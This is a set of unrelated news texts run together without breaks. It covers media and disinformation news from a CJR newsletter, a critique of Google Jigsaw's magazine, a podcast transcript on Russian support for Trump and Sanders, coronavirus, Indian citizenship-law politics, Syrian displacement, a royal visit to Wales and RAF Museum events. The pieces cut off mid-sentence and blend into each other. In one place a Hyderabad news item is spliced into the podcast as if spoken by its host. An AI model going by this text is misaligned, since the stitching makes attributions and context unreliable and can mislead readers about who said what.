spots deepfakes that use an algorithm called StyleGAN to generate realistic imaginary faces. These detection techniques feed into a master model that tells users how likely it is that an image has been manipulated. Labels: Twitter is experimenting with adding colored labels directly beneath lies and misinformation posted by politicians and public figures, according to a leak obtained by NBC News. Under this model, which Twitter said is just one possible iteration of a new policy aimed at fighting disinformation, misleading information posted by public figures would be corrected directly beneath the tweet by fact-checkers and journalists who are verified, and possibly other users who will participate in a new community reports feature. Sources tell Bloomberg News that Donald Trumps re-election campaign has bought the coveted advertising space at the top of the YouTube homepage for early November. The space can cost as much as $1 million per day. The father of Alison Parker, a reporter who was shot to death on camera in 2015, has filed a complaint against YouTube with the Federal Trade Commission, alleging that the site puts the onus on users to notify it of violent content, and then often doesnt remove it. The filing calls these practices deceptively burdensome and says Google utterly fails to follow through on promises to take down content. Parker was murdered on live television, along with her cameraman, Adam Ward, and, according to the complaint, video of the killing remains on YouTube. Political ads are flooding into Hulu, Roku and other digital streaming services, which arent subject to the same regulations that cover television networks and cable broadcasters, the Washington Post reports. Nothing requires these fast-growing digital providers to disclose whom these ads targeted and who viewed them, the Post finds. The absence of federal transparency rules stands in stark contrast with traditional TV broadcasters, such as ABC, CBS, Fox and NBC, which for decades have been required to maintain limited public files about political ads. Maria Bustillos, CJRs public editor for MSNBC, describes the comic-book world of political journalism as portrayed on network TV. Heroes and villains make for entertaining and digestible television; they simplify a complicated world, and make it less frightening, she writes. The reduction of political actors to stick figures in a story of Good vs. Evil is a key part of what makes cable news tick. Author Neil Postmans contention that television has turned our culture into one vast arena for show business is truer than ever, Bustillos argues. Peter Winter, a long-time media industry executive, writes about the lessons that can be learned from the recent bankruptcy filing of McClatchy, the newspaper chain. In business, every threat masks an opportunity that should have been obvious. The Internet offered newspaper companies the rare prospect of product reinvention and economic revival, Winter says. But all they could see was a chance to throw away the ink and paper and sell the trucks, the same product delivered at less cost and sold as if the age of targeted and measurable advertising had never arrived. In the weeks after the 2016 presidential election, Facebook found dozens of pages that had peddled false news reports ahead of Donald Trumps surprise victory, according to a report from the Washington Post. Nearly all were based overseas, had financial motives and displayed a clear rightward bent. But in a meeting to decide what to do about it, Joel Kaplan a former official in the George W. Bush White House who was the head of Facebooks Washington office argued that Facebook couldnt take all the pages down because doing so would disproportionately affect conservatives, who didnt see the material as fake news. Ross Barkan writes for CJR about what it was like dealing with Mike Bloombergs media-relations staff when Bloomberg was mayor of New York City. Bloombergs press office knew that befriending reporters, or creating the appearance of camaraderie, was crucial to the mission. Off-the-record chats were frequent. So were after-work beers, he recalls. Emails were always answered. As a young reporter at the bottom of the pecking order, I couldnt claim to belong to the inner ring of these reporter-staff relationships. But I could still feel, in some way, that I knew Bloombergs team. And the New York Times writes about how the new owners of the Big Bend Sentinel in Marfa, Texas bought the building next door and turned it into a bar and event space attached to the newsroom. Revenues from the space help subsidize the Sentinels journalism, according to Maisie Crow and Max Kabat, two transplants from New York who bought the paper last year. Jigsaw, a unit of Google previously known as Google Ideas , recently launched a digital magazine called The Current, which aims to explore todays digital threats and solutions. There isnt much exploring to be found in the inaugural edition , however. Its mostly a cursory overview of disinformation, alongside brief descriptions of some tools that Google has used to combat the problem, gussied up with a coat of digital paint. There are two contemporary art pieces that seem only loosely relevant. Plus, an interactive map. Its a magazine best not read too closely. But I did anyway. Its unclear why Jigsaw decided to publish The Current now, but its probably not a coincidence that Googleand its parent company, Alphabetis under pressure from legislators in the US and Europe to take action against misinformation . Founded in 2010 and run by Jared Cohen, a former adviser to Hillary Clinton, Jigsaw says its mandate is to forecast and confront emerging threats, creating future-defining research and technology to keep our world safer. The reality is not as bright. Last summer, Vice described Jigsaw as a toxic mess; a dozen current and former staffers complained of an environment of mismanagement and poor leadership in an organization that, despite the breathless headlines it has garnered, has done little to actually make the internet any better. In one case in 2018, Jigsaw set up a fake political activism siteputting political misinformation out into the worldand then hired a Russian troll factory to attack it. The Current looks nice, at least. With a monochromatic color scheme, it resembles a high-end-furniture catalog. Its also interactive: when a user hovers over text, the mouse arrow turns into a Magic Marker icon and a pop-up window encourages readers to send in comments. But if you click on send a message, you see a small box with three choices: Agree, Disagree, and Want to know more. Your ability to weigh in, it turns out, is limited to one of three pre-programmed responses. The text of The Currents articles is organized into snippets not much longer than Netflix promotional descriptions, with links inviting you to Dive Deeper. Click a first link, and you go to a page called The Problem, which explains, for instance, that disinformation campaigns are professional and coordinatednot unlike marketing campaigns. You dont say.A section called Tactics has a series of graphics representing different approaches to spreading disinformation , including brigading (an online harassment tactic in which a group launches a coordinated attack on an individual), botnets (coordinated groups of automated accounts), and hacking. Hovering over them brings up explanations so brief as to almost be wrongfor sock puppets, the entry says only online accounts run by someone masquerading as someone else. The Channels section has four subsections, including manipulated images, memes, and viral messages. The Meme section says that Russian trolls tried to use memes to influence energy markets by protesting a pipeline, a single (bad) example from a vast category of behavior. The audience for this information would presumably be someone who has literally never heard the term meme. To show that at least some of the magazine is based on original Jigsaw research, a section called Outcomes includes a quote from a pseudonymous white nationalist Twitter and Gab user banned from both platforms multiple times for disinformation and trolling, whom Jigsaw interviewed. His message? That engagement is an important indicator of whether your campaign is working. Hardly an earth-shattering revelation. The final section of The Current is a disinformation visualizer that links to campaigns identified by the Atlantic Councils Digital Forensic Research Lab, a nonprofit that studies disinformation. The fine print notes that Alphabet does not endorse these research findings or their characterization of disinformation campaigns. But if Google doesnt endorse them, why are they featured in its magazine? Each is a couple paragraphs at mostoutlining a disinformation campaign that was run in Ukraine by Russian trolls, for examplewith text boxes noting that the information comes largely from public news reports. In all, The Current has the feeling of something Googles marketing department cooked up in a hurry. If it were a presentation for ninth-grade civics class, it would get high marks. But for something produced by a $900 billion company that purports to have high-minded goals, its pretty weak tea. It deserves a C+ at best. Heres more on Google and disinformation: Has America ever needed a media watchdog more than now? Help us by joining CJR today Mathew Ingram is CJRs chief digital writer. Previously, he was a senior writer with Fortune magazine. He has written about the intersection between media and technology since the earliest days of the commercial internet. His writing has been published in the Washington Post and the Financial Times as well as by Reuters and Bloomberg. More than 500,000 children have been displaced since December 1. Photo: Khalil Ashawi/Reuters Hundreds of thousands of people fleeing a Russian-backed Syrian offensive are being squeezed into ever smaller areas near Turkeys border under horrendous conditions, the UN humanitarian chief said. The below-freezing temperatures are killing babies and young children, Mark Lowcock said. Mr Lowcock told the UN Security Council that the unfolding humanitarian catastrophe in north-west Idlib province, which is the last major rebel stronghold, has overwhelmed efforts to provide aid. He said nearly 900,000 people have been displaced since December 1 when the government offensive began, more than 500,000 of them children. Many are on foot or on the backs of trucks in below-freezing temperatures, in the rain and snow, Mr Lowcock said. They are moving into increasingly crowded areas they think will be safer. The under-secretary-general for humanitarian affairs said almost 50,000 people have taken shelter in open spaces. We attempted to send a notification to your email address but we were unable to verify that you provided a valid email address. Please click here to update your email address if you wish to receive notifications. Otherwise, you may click here to disable notifications and hide this message. Green River will receive approximately $18.5 million in special purpose tax funds if a proposed sixth-penny tax is approved by voters later this year, but concerns remain as far as longterm funding for the city. Mayor Pete Rust is concerned about how Sweetwater Countys communities will remain competitive with other Wyoming communities as they initiate the sixth-penny process. He said other counties have initiated similar sales taxes with an intent to collect over long periods of time. With the commissioners decision to seek a total tax amount of $80 million, an amount that should take... michael barbaro From The New York Times, Im Michael Barbaro. This is The Daily. [music] michael barbaro Today: U.S. intelligence officials have concluded that the Russian government is supporting two very different candidates in the 2020 presidential race. David Sanger on why Russia is rooting for Donald Trump and Bernie Sanders. Its Wednesday, February 26. David, tell us about these intelligence briefings. david sanger Well, the first one, and in some ways the most interesting one, is shrouded in a lot of mystery. We know that about a month ago, the F.B.I. went to Bernie Sanders. michael barbaro Mm-hmm. david sanger The F.B.I. frequently comes around to give general warnings to all the candidates, but thats not what this was all about. This was about a very specific finding. And their message was, we have reason to believe that the Russians, through their own calculus, have determined that youre their favorite candidate among the Democrats in the primary. michael barbaro Hmm. david sanger And that they may well already be intervening on your behalf. michael barbaro And David, what was Sanderss reaction, as both a senator and a presidential candidate, to this piece of information? david sanger The only reaction that we know about, Michael, is that he decided to keep it secret. He hasnt said very much about what he thought about it. He just decided to say nothing about it, which itself is a really interesting choice. michael barbaro What do you mean? david sanger Well, he said that because it was classified, and he doesnt talk about classified briefings, he just stayed silent. But there are lots of political reasons for him to stay silent as well. michael barbaro Like what? david sanger He doesnt want to appear or be portrayed by President Trump as Russias favorite or Russias dupe in the election. If youre Bernie Sanders and youre thinking ahead to the general election, you only want one Russian puppet to be in this election, and you want it to be Donald Trump. So he knew right away that Trump would use this as an effort to try to equalize what the Russians were doing on behalf of President Trump in 2016 michael barbaro Gotcha. david sanger and what we think they will be doing with what theyre doing with Bernie Sanders. Because if the Russians are backing both of them, its like the Russians are backing neither of them. michael barbaro OK, so thats intelligence briefing number one. What about the second one? david sanger Well, the second one is bigger, a lot more formal, and we know a lot more about it. It was February 13. archived recording (erin burnett) [MUSIC]: And good evening. Im Erin Burnett. We are live from Las Vegas where, in less than an hour, our Democratic presidential town halls will begin. And we have more on that in just a moment. But first, the breaking news. david sanger And the Director of National Intelligence Office, Shelby Pierson, has the unenviable job of being the mission manager for election interference for the Director of National Intelligence, goes in to brief the House Intelligence Committee. michael barbaro Hmm. david sanger And so the first thing she says is: There is Russian interference underway. The second thing she says is: The Russians had and still have a preference for Donald Trump as president. So unlike the Sanders briefing, this one does leak. archived recording 1 This is not a four-year-ago flashback, folks. This is 2020. archived recording 2 Well, Democrats are rekindling an old flame Russia collusion. Yes. archived recording 3 I mean, this is so idiotic. And you notice how when they win elections, the Russians didnt do anything? archived recording 4 Mm. archived recording 5 So david sanger And a few days after that leaks out, we learn about the Sanders briefing a month before. And of course, as soon as these leak, everyones furious. archived recording And if this came out a month ago, how do you think it came out now, if you had the briefing a month ago? archived recording (bernie sanders) Ill let you guess about one day before the Iowa Nevada caucus. Why do you think it came out? It was The Washington Post? Good friends. david sanger Sanders is furious that the news of his briefing came out just before the Nevada caucuses. michael barbaro Right. david sanger And blames, among others, corporate media. Because The Washington Post had, I think, first broken this story. President Trump is furious that its back in the ether again that the Russians are involved in the election and behind him. archived recording (donald trump) Here we go again. Did you see it? This story. Arent people bored? david sanger And so at a rally in Las Vegas, he says, this is all fabrication. Its all coming from the Democrats. archived recording (donald trump) I was told that was happening. I was told a week ago. They said, you know, theyre trying to start a rumor. Its disinformation. Thats the only thing theyre good at. Theyre not good at anything else. They get nothing done Do Nothing Democrats. david sanger No, actually, it was coming from his own Office of the Director of National Intelligence, all of whom work for him. archived recording (donald trump) These people are crazy! michael barbaro So regardless of how this became public and it seems like both Sanders and Trump are very unhappy that it did become public it is public now that Russia is supportive of both President Trump and Bernie Sanders. So how did the intelligence community come to that conclusion? What are they seeing out there? david sanger Well, we dont know exactly how they came to it, because this is wrapped up in their sources and methods the one thing that they protect more than anything. michael barbaro Mm-hmm. david sanger We think they have humans sources inside Russia. They certainly did in 2016, a unique human source who had access to the Kremlin. They certainly have lines into Russian networks. Thats what the National Security Agency does. And finally, they get to see some of the product as it shows up on Facebook or Reddit or something like that. michael barbaro Mm-hmm. david sanger And here, the differences from 2016 are really fascinating. michael barbaro Like what? david sanger Well, in 2016, youll remember that there were Russians who were posing as Americans and putting out Facebook ads or going into Facebook posts. They got booted off for inauthentic behavior they werent really Americans. So what are they doing now? Theyre putting much of the same kind of propaganda and false charges on forums like Reddit, hoping that they will get picked up by real Facebook users, who are real Americans, and will be repeated on their posts. And of course, Facebook cant throw them off, because theyre real Americans expressing their political views. Theyre protected by First Amendment rights. And it would be pretty unseemly if Facebook began tossing off Americans saying, oh, you heard that from a Russian bot. michael barbaro Hmm. david sanger In the Cold War, the Soviets called these people useful idiots because they unintentionally picked up a Russian theme, a piece of disinformation, and repeated it until it became organic. michael barbaro Right. david sanger In the election, they might call them useful partisans, because theyre going to pluck this out of the political ether, repeat it on cable television, presumably in support of Senator Sanders or President Trump, or maybe someone else who emerges. michael barbaro So David, how do you make sense of the fact that Russia is trying to help the two candidates in the race who are about as ideologically far apart as imaginable Trump, Sanders at the same time? david sanger Well, Michael, Ive been trying to puzzle this out, because at first, it didnt seem to make any sense to me. And then, the more interviewing I did with more experts that I trust, they all said, you know, David, actually, it makes perfect sense. [music] And it makes perfect sense for three reasons. So the first one is that both these candidates are at the outer extremes of their own parties. Not the far extreme, but they attract really partisan supporters. And the best way to create chaos is to have two polarized groups of political supporters going after each other. michael barbaro Mm. david sanger You know, the Trump supporters and the Sanders supporters, they dont leave a whole lot of space in the middle. And if youre the Russians, thats perfect. Its the equivalent of creating a drought in the forest, just before you toss in the match. Remember, the Russians dont go out and create the conditions. All they do is go out and exploit the conditions. michael barbaro Help me understand what the exploitation of a polarized Sanders and Trump electorate looks like. david sanger Well, you could take any of a number of issues that are hot-button social issues and use that to further divide Americans. archived recording (donald trump) We give hundreds of millions of dollars. You know what they give to us? Nothing. Nothing. They give us nothing. archived recording Criminals! david sanger You can use immigration, right? On which they differ dramatically. archived recording (bernie sanders) Day one, we will rescind all of Trumps hateful and racist immigration executive orders. [APPLAUSE] david sanger You can use Medicare for All, on which they differ dramatically. You could use the Israeli-Palestinian conflict, on which they differ dramatically. So michael barbaro And just kind of pump up those issues on social media, on your Reddit page, and hope it gets picked up on Facebook. And just generally make Americans angry at each other over it? david sanger Have the country screaming at each other. archived recording 1 Bottom line is Donald Trump is dangerous and toxic for this country. archived recording 2 For many reasons, I think Bernie Sanders is a dangerous man, but the thing that I thought I do. I mean, I think hes a very dangerous man. archived recording 3 This is someone who is not stable. And Ive been saying it from the beginning, and I will continue to say it until somebody looks into his mental stability. archived recording 4 The socialist wing has completely taken over and is now in control, where the moderate voices no longer matter at this point in the race. michael barbaro And why is chaos good for Russia? I can tell why its bad for us. david sanger It makes the United States look like a place that cant get its act together. It helps lead to charges of election interference and election irregularities that bring American elections down to the level of Russian elections. michael barbaro Hmm. david sanger It makes democracy look like a chaotic form of governance that cant really be trusted to make progress. [music] Best of all, youre weakening the United States, keeping it consumed in some domestic furor, rather than thinking about pushing back against the Russians in Syria, or elsewhere in the Middle East, or in Crimea, or coming to the support of your allies in NATO. michael barbaro Well be right back. OK. So thats theory number one, which kind of seems to see both of these candidates as co-equals in the creation of a chaotic American political life. david sanger Thats right. michael barbaro What is theory number two for why Russia would be rooting for both Trump and Sanders? david sanger Well, theory number two is truly cynical, Michael. Its that the Russians really do favor Trump, and they think that Bernie Sanders is the most beatable Democrat. michael barbaro Hmm. david sanger Now, they may be wrong about that. Theres lots of polling that suggest he could win. But the Russianss calculus at this moment may be that if you want to keep Donald Trump in office, Bernie Sanders is the best candidate to go do that. michael barbaro Gotcha. david sanger Now, that then raises the question, why would they continue to support Trump? And I think the answer to that is that Donald Trump is the only member of the Trump administration who doesnt sign on to the anti-Russian cast of American policy. [music] Official policy is, we push back on the Russians from Ukraine to the Middle East and so forth. Donald Trump doesnt want to hear any of that. archived recording (donald trump) I think that we would have a chance to have a very good relationship with Russia and a very good chance a very good relationship with President Putin. I would hope michael barbaro Putin, obviously, likes that. david sanger Thats right. Official policy is we continue sanctions on the Russians. archived recording (donald trump) A lot of people say having Russia which is a power having them inside the room is better than having them outside the room. By the way, there were numerous people during the G7 that felt that way. And we didnt take a vote or anything, but we did discuss it. My inclination is to say, yes, they should be in. david sanger Donald Trumps been talking to the French about letting Russia back into the G8, the group of eight countries, and beginning to lift sanctions. Official policy is that we keep sanctions on as long as the Russians continue to annex Crimea. archived recording (donald trump) You know, the people of Crimea, from what Ive heard, would rather be with Russia than where they were. And you have to look at that also. david sanger Donald Trumps view is, why do we care about Crimea anyway? Why dont the other neighbors care about that? So they have all kinds of reasons to believe that Donald Trump in the second term would be a continuation of the Donald Trump in the first term, who wasnt going to give them a hard time about their territorial or nuclear ambitions. michael barbaro OK, thats the Trump side of this. What makes the Russians convinced that Sanders is the most beatable Democrat? Because as you said, thats not exactly what the polling suggests. david sanger It isnt what the polling suggests, and its an interesting question why they believe that. Remember, the Russians didnt think Donald Trump was going to win early in the last presidential cycle and really only came to supporting him in an active way in the very last months of the campaign. So they may not know right now any more than we know. Why would they know? michael barbaro Mm-hmm. archived recording (bernie sanders) You know, when Fidel Castro came into office, you know what he did? He had a massive literacy program. Is that a bad thing? david sanger But they look at Bernie Sanders, and they see somebody who talks in ways that other American politicians rarely do. How many other American politicians have come out and said admiring things about Fidel Castro? michael barbaro Mm. archived recording (bernie sanders) You know what? I think teaching people to read and write is a good thing. david sanger How many other American candidates have proudly called themselves democratic socialists? So they think that all of these things make Sanders vulnerable to the charge from President Trump that Sanders is actually the Russian-loving socialist in the race. michael barbaro OK, so what is the third explanation for why Russia would support both candidates? david sanger Well, the third explanation is life is uncertain, and they could live with Bernie Sanders. michael barbaro Hmm. david sanger And why? archived recording (bernie sanders) Today, we are preparing to send soldiers to Afghanistan who were not even born on September 11, 2001. david sanger Because, like Donald Trump, hes got a real aversion to interventions around the world. archived recording (bernie sanders) We have got to stop endless wars. We have got to cut military spending. david sanger So that you can pay for Medicare for All and other social programs. michael barbaro So the thinking is that Russia would be quite happy, maybe even elated, with four more years of Donald Trump. But if theyre going to have to live with a Democratic president, theyre perfectly fine with Bernie Sanders. david sanger Especially because the Democrats have become the party of anti-Russia sentiment. michael barbaro Hmm. david sanger Right? Its almost a flip from what we thought about in the post-Cold War era where the Democrats were all about integrating Russia into the world community, making them part of the G8, coming up with economic packages, turning them into a European nation. Remember all that? michael barbaro Mm-hmm. david sanger You havent heard a word of that from any of the Democrats now except Sanders. And so youre now seeing Bernie Sanders just in the past few days archived recording (bernie sanders) And what I say to Mr. Putin if elected president, trust me, you are not going to be interfering in American elections. archived recording Senator david sanger begin to try to sound a bit tougher in his international relations views, precisely because he recognizes this is a big vulnerability. archived recording (bernie sanders) Mr. Putin is a thug. He is an autocrat. He may be a friend of Donald Trumps. Hes not a friend of mine. Let me tell you david sanger So right now, we still dont have the evidence. Remember, in the 2016 election, it wasnt until 2017 really, after Donald Trump was about to be inaugurated that we got a sense of the scope of the Russian effort. michael barbaro Mm. david sanger What we do know is that Bernie Sanders now has a Russia problem. michael barbaro Mm. david sanger And that problem, if anything, is probably going to drive him to sound more hostile to Moscow than he naturally would be or he has been in the past. michael barbaro And how does that serve Russia? david sanger Im not sure it does. Because once influence operations are exposed, it can drive the intended target in this case, Bernie Sanders and his supporters to the opposite corner. michael barbaro Mm-hmm. david sanger So you know, Donald Trump today is the last politician in America who could actually get behind lifting sanctions against Russia, because everybody would say, youre in Putins pocket. And they run the risk of driving Bernie Sanders from the candidate who wanted to go talk to the Russians, to the candidate who could never talk to the Russians. michael barbaro Hmm. [music] Thank you, David. david sanger Thank you. archived recording (bernie sanders) This is archived recording Mayor Buttigieg, we want to bring you into this conversation. Why would the Russians want to be working on behalf of Bernie Sanders? michael barbaro During Tuesday nights Democratic debate in South Carolina, candidates repeatedly invoked Russias support for Trump and Sanders, with Mayor Pete Buttigieg saying that Russia favored them because they represent political extremes. archived recording (pete buttigieg) Ill tell you what the Russians want. They dont have a political party. They want chaos. And chaos is what is coming our way. I mean, look, if you think the last four years has been chaotic, divisive, toxic, exhausting, imagine spending the better part of 2020 with Bernie Sanders versus Donald Trump. Think about what that will be like for this country. michael barbaro At one point, Mike Bloomberg turned to Sanders and declared that the reason Russia supported Sanders was because its government believed that Sanders would lose to Trump. archived recording (michael bloomberg) Vladimir Putin thinks that Donald Trump should be president of the United States. And thats why Russia is helping you get elected, so youll lose to him. archived recording (bernie sanders) Oh, Mr. Bloomberg! michael barbaro Sanders, in response, denounced Russias efforts to meddle in the election. archived recording (bernie sanders) And let me tell Mr. Putin, who interfered in the 2016 election, trying to bring Americans against Americans hey, Mr. Putin, if Im president of the United States, trust me, youre not gonna interfere in any more American elections. michael barbaro For highlights and analysis of that debate, listen to this mornings episode of The Latest. You can find it on the Daily Feed or by searching for The Latest wherever you listen. Well be right back. [music] michael barbaro Heres what else you need to know today. archived recording (anne schuchat) Now, its not so much a question of if this will happen anymore, but rather more a question of exactly when this will happen and how many people in this country will become infected. michael barbaro On Tuesday, health officials warned that the coronavirus will almost certainly begin spreading across the United States and that Americans should begin preparations now. During a news conference, Doctor Anne Schuchat of the Centers for Disease Control and Prevention said that an American outbreak might require a wide range of actions, from closing schools to asking employees to work from home. archived recording (anne schuchat) We will be transparent with the public about these measures and the potential that these tools will be necessary. There is literally a playbook for the use of these tools. michael barbaro With 24 countries affected, health officials stated that they have people who are coming in with persistent cough and cold, because of which suspected cases are being reported. Hyderabad: There is a state of panic among people, especially those who are travelling to Covid-19 affected countries. On their return, most people are self-reporting to government hospitals, stated health officials. With 24 countries affected, health officials stated that they have people who are coming in with persistent cough and cold, because of which suspected cases are being reported. With two of them reporting to Gandhi Hospital on February 19, the officials stated that people who are travelling to the affected countries are filling questionnaires on planes. A senior health official, on condition of anonymity, explained, Those who are developing symptoms later too are reporting in, as they are scared. People are aware and those who have travelled to those sectors are directly coming in. The rule of quarantine is being followed for them. We are also checking temperatures regularly but there has not been any alarming situation so far. New Delhi: Maharashtra minister and Congress leader Ashok Chavan on Thursday said that Shiv Sena`s stand is not clear on the Citizenship Amendment Act (CAA), National Population Register (NPR) and National Register of Citizens (NRC), adding that the issue will be taken by Maharashtra coordination committee. "There is a three-party alliance government in Maharashtra. Congress party has cleared its stand on CAA, NPR, and NRC. This is not for the benefit of the country. It seems that Shiv Sena`s stand is still not clear on CAA, NPR, and NRC," Chavan told ANI. "If there is any dispute, Maharashtra coordination committee, which has leaders from three parties will discuss this and sort it out," he said. Chavan called his meeting with Congress interim president Sonia Gandhi a "courtesy meeting". The Congress leader`s remark came after Maharashtra CM Thackeray said there is no need to worry if the CAA is implemented while reiterating that NRC will not be implemented in the state. "CAA and NRC both are different and NPR is different. No one has to worry if CAA gets implemented. NRC is not there and will not be implemented in the state," he said. Many non-BJP state governments, including Madhya Pradesh, West Bengal, Kerala, Punjab, and Rajasthan have refused to implement the Citizenship Amendment Act (CAA) and the NRC in their respective states. The Prince of Wales showed his caring side today as he took the time to sit down with a hospice patient during a day packed with activities in Wales. Prince Charles, 71, visited the Marie Curie Hospice in Cardiff and the Vale, where he met staff and spent time with 97-year-old patient Maureen Russell. The heir to the throne was seen sharing a joke with Maureen and held her hand as he sat at her bedside. Earlier today he visited the new Aston Martin Lagonda factory in St Athan, and visited the CAF train factory of South Wales to officially open the facility. Later today, the royal will make a series of visits to businesses and charities in South Wales, before meeting local residents impacted by recent flooding. The royal took the time to sit down with Maureen Russell, a 97-year-old patient staying at the hospice (pictured) In a series of visit in Wales today, Prince Charles, 71, headed to the Marie Curie Hospice in Cardiff and the Vale, where he met with staff (pictured) The royal donned a smart grey suit for today's round of engagements, adding a pop of colour with a playful pink tie covered in a pattern of white elephants and cheetahs. This morning, Charles arrived at the Aston Martin factory in his vintage car, and could be seen beaming as he disembarked the vehicle. The royal was given a tour of the new facility during his visit to St Athan today and given the chance to test drive the new Aston Martin DBX during his visit. He later gave a speech at a reception at the event, before unveiling a special plaque for the new facility. Busy Prince Charles took the time to have a lovely conversation with Maureen, who was resting in her bed (pictured) In a rare quiet moment in a whirlwind of a day, the future King to the time to listen to Maureen as the two chatted away Prince Charles arrived in style for a royal visit today as he drove his vintage Aston Martin DB36 to visit a new Aston Martin Lagonda factory in St Athan Earlier today, the royal had taken to the driving seat of a partly constructed train at the CAF factory in Newport Prince Charles appeared in high spirits as he made a visit to CAF train factory in Newport in order to open the facility earlier today The royal was also given the honour of placing the Aston Martin logo on the new DBX during his visit to the factory. Earlier this morning, he appeared in high spirits as he arrived at the CAF factory, which is owned by the leading Spanish train maker. The royal could be seen laughing and joking with staff during a tour of the factory as they spoke through the manufacturing process, and even climbed aboard a carriage. The factory builds and test trains including diesel, electric, high-speed and trams. The royal was given the honour of placing the Aston Martin logo on the new DBX during his visit to the factory The royal could be seen delicately placing the logo on the company's new DBX car, after test driving the car The royal received assistance while placing the logo on the brand new car at the new factory today Prince Charles gave a speech at a reception at the event, before unveiling a special plaque for the new As well as the vintage vehicle, Prince Charles tested out the new Aston Martin DBX during his visit The royal could be seen sharing a smile with staff at the factory after test driving the brand's new SUV Behind the wheel! Prince Charles took to the driving seat while at the facility as he testdrove the new Aston Martin SUV The royal appeared overjoyed as he drove the brand's first SUV as part of his royal visit today in St Athan Prince Charles appeared enthralled as he spoke with Marek Reichman, Executive Vice President and Chief Creative Officer of Aston Martin The men spoke as Prince Charles prepared to test drive the new Aston Martin SUV at the new facility in South Wales Prince Charles met with some of the 220 employees, while they talked the royal through the production process. The royal could be seen laughing and joking with employees as they spoke about the manufacturing process within the factory. Later, he climbed aboard a partially completed train and studied various parts during the royal visit. The royal, who officially opened the factory during his visit today, also attended a reception for staff and local dignitaries in order to celebrate. Prince Charles appeared excited as he chatted with staff at the Aston Martin factory before test driving the company's first SUV In the driving seat! Prince Charles arrived in style at the royal visit as he rode in his vintage vehicle to the factory The Prince of Wales drove himself between royal visits today in his vintage Aston Martin car (pictured) The royal's Aston Martin bore many of the original features, including the mascot of the Aston Martin DB6 The royal appeared delighted and could be seen beaming as he arrived at the factory in St Athan earlier on today During the visit, the Prince of Wales unveiled a plaque alongside CAF's chief executive Andres Arizkorreta. The state-of-the-art manufacturing facility which was completed in 2017, after CAF ploughed 32million into the plant at the Celtic Business Park in Newport, a former steelworks that is not far from the steel hub of Port Talbot. Later today, Prince Chalres will pay a visit to the Marie Curie Hospice in Cardiff and the Vale to meet with patients and staff. Later he will travel to the British Airways Maintenance Centre to celebrate the 100th anniversary of the company. The royal was helped by a member of his entourage as he prepared to leave the facility this morning The Prince of Wales unveiled a plaque and gave a speech during the reception at the factory earlier today He was joined by the chief executive of the company, Andres Arizkorreta, on stage as he unveiled the plaque The royal appeared in high spirits as he spoke during a reception at the CAF train factory in Newport earlier today The royal was applauded as he took to the stage to unveil a plaque and officially open the facility in South Wales Prince Charles appeared in high spirits during the visit today, which kickstarts a busy day for the royal Prince Charles appeared delighted as he took to the drivers seat of a train currently undergoing construction at the facility In the driving seat! The royal appeared to enjoy a tour of the facility, which involved him testing out the carriage of one of the trains The royal could be seen smiling as he studied the parts of the manufacturing process during the visit today Staff talked Prince Charles through the production process during his visit to the factory, with the royal climbing aboard a train currently under construction He could be seen sharing a laugh with staff at the factory as he was offered a tour of the facility earlier today The royal could be seen beaming and sharing jokes with employees whom he met at the factory today He's also set to meet with residents in the town of Pontypridd who have been affected by recent floods, and meet those involved in the rescue and support effort. It comes amid a busy week for Prince Charles, who yesterday presented the Queen's Anniversary Prizes at Buckingham Palace. Earlier on this week, the royal donned a hard hat and high-viz jacket to meet some of the skilled costume and prop-makers from the Royal Shakespeare Company (RSC) during a visit to Warwickshire. And last week, he hosted The Prince's Trust Invest in Futures Gala at Kensington Palace. He appeared in excellent spirits as he welcomed stars including Claudia Winkleman and Rob Brydon to the gala, which is the largest fundraising event of The Princes Trust, generating vital funds to support thousands of young people into jobs, education or training. The royal donned a simple grey suit with a playful pink tie for the royal visit to the factory in South Wales today Prince Charles could be seen chatting with staff as they talked through the production process at the facility The royal appeared in high spirits as he shared a joke with one factory worker during the visit earlier today 2020 marks the 80th anniversary of the Battle of Britain, often referred to as Britains finest hour. This summer, the Royal Air Force Museum is inviting the country to remember this significant story of bravery, international alliances and ingenuity both at the Museum and on tour. On tour: The Museum is giving members of the public a rare chance to see a real Spitfire from our collection in various public spaces. This will include Coventry, Telford, Shrewsbury, Birmingham, Cosford, Wolverhampton and Barnet. The Spitfire on tour will enable members of the public to find out more about this iconic aircraft and the role each town and city played during the Battle of Britain. London: RAF Museum London (on the site of the former RAF Hendon) is home to the most complete set of Battle of Britain aircraft in the world including the fighter four: Spitfire, Hurricane, Messerschmitt Bf 109 and Fiat CR.42, all surviving participants of the Battle. This year they will be supported by new displays telling the wider BoB story, including a fine art exhibition. There will also be a series of events for the whole family, including The Battle of Britain Vintage Festival, Spitfire 10K and Family Run, and a Battle of Britain Aircraft Access event. Cosford: Home to the worlds oldest Spitfire, RAF Museum Cosford houses both British and German aircraft from the BoB era. See the RAFs frontline fighters, the Spitfire, Hurricane, Gladiator and Defiant face to face with their German rivals the Me 109 and Ju88, all examples of the type used in the BoB. Previously unseen objects from the Museums archive collection and a Dowding System interactive area will enhance the aircraft displays. The summer events programme will include the popular Spitfire 10K and Family Run and a BoB Proms with musical acts suitable for all the family. Earlier this year the RAF Museum launched the Hurricane 80K Challenge, a virtual race commemorating 80 years since the BoB. Participants have exactly 80 days to complete 80K and be rewarded with a bespoke challenge medal, proceeds will go the RAF Museum, registered charity 244708. The RAF Museum is open daily from 10am and entry is FREE. For more details visit rafmuseum.org RAF Museum Battle of Britain type aircraft (most, but not all participated the BoB): RAF Museum Battle of Britain events: As the editor of the Culture department at The New York Times, Gilbert Cruz relies on critics, reporters and editors in every field of the arts for their expertise. In a new series, were bringing his questions and our writers answers to you. First up: his brief exchange with the co-chief film critic Manohla Dargis following the big wins for Parasite at the Oscars. Gilbert asks: Manohla, Ive seen Parasite and several other Bong Joon Ho movies. But I want to dig deeper into South Korean cinema. A little help? Manohla answers: Where to begin?! South Korean cinema has rocketed to international prominence over the past few decades, as have some of its greatest filmmakers, including Bong. If you loved Parasite but havent seen any of his previous six features, I envy you you have hours of pleasure awaiting you. And while Im not partial to his first feature, the satire Barking Dogs Never Bite, everything that this sui generis filmmaker has made since is a must-see, from his unsettling monster movie The Host to the equally unnerving Mother, a tale of monstrous motherhood. Film festivals can be a terrific way to check out the latest in new South Korean cinema, especially given that not everything hits streaming (in English). If youre interested in seeing work from women, sometimes your local festival, museum or cultural center might be your best bet, simply because those movies may not be otherwise available. Among the titles from women making the festival rounds is The House of Us; in the March issue of Sight and Sound, Bong singled out its director, Yoon Ga-eun, as a filmmaker to watch. (Bong also gave a shout out to Kim Ki-young, whose feverish 1960 The Housemaid is essential 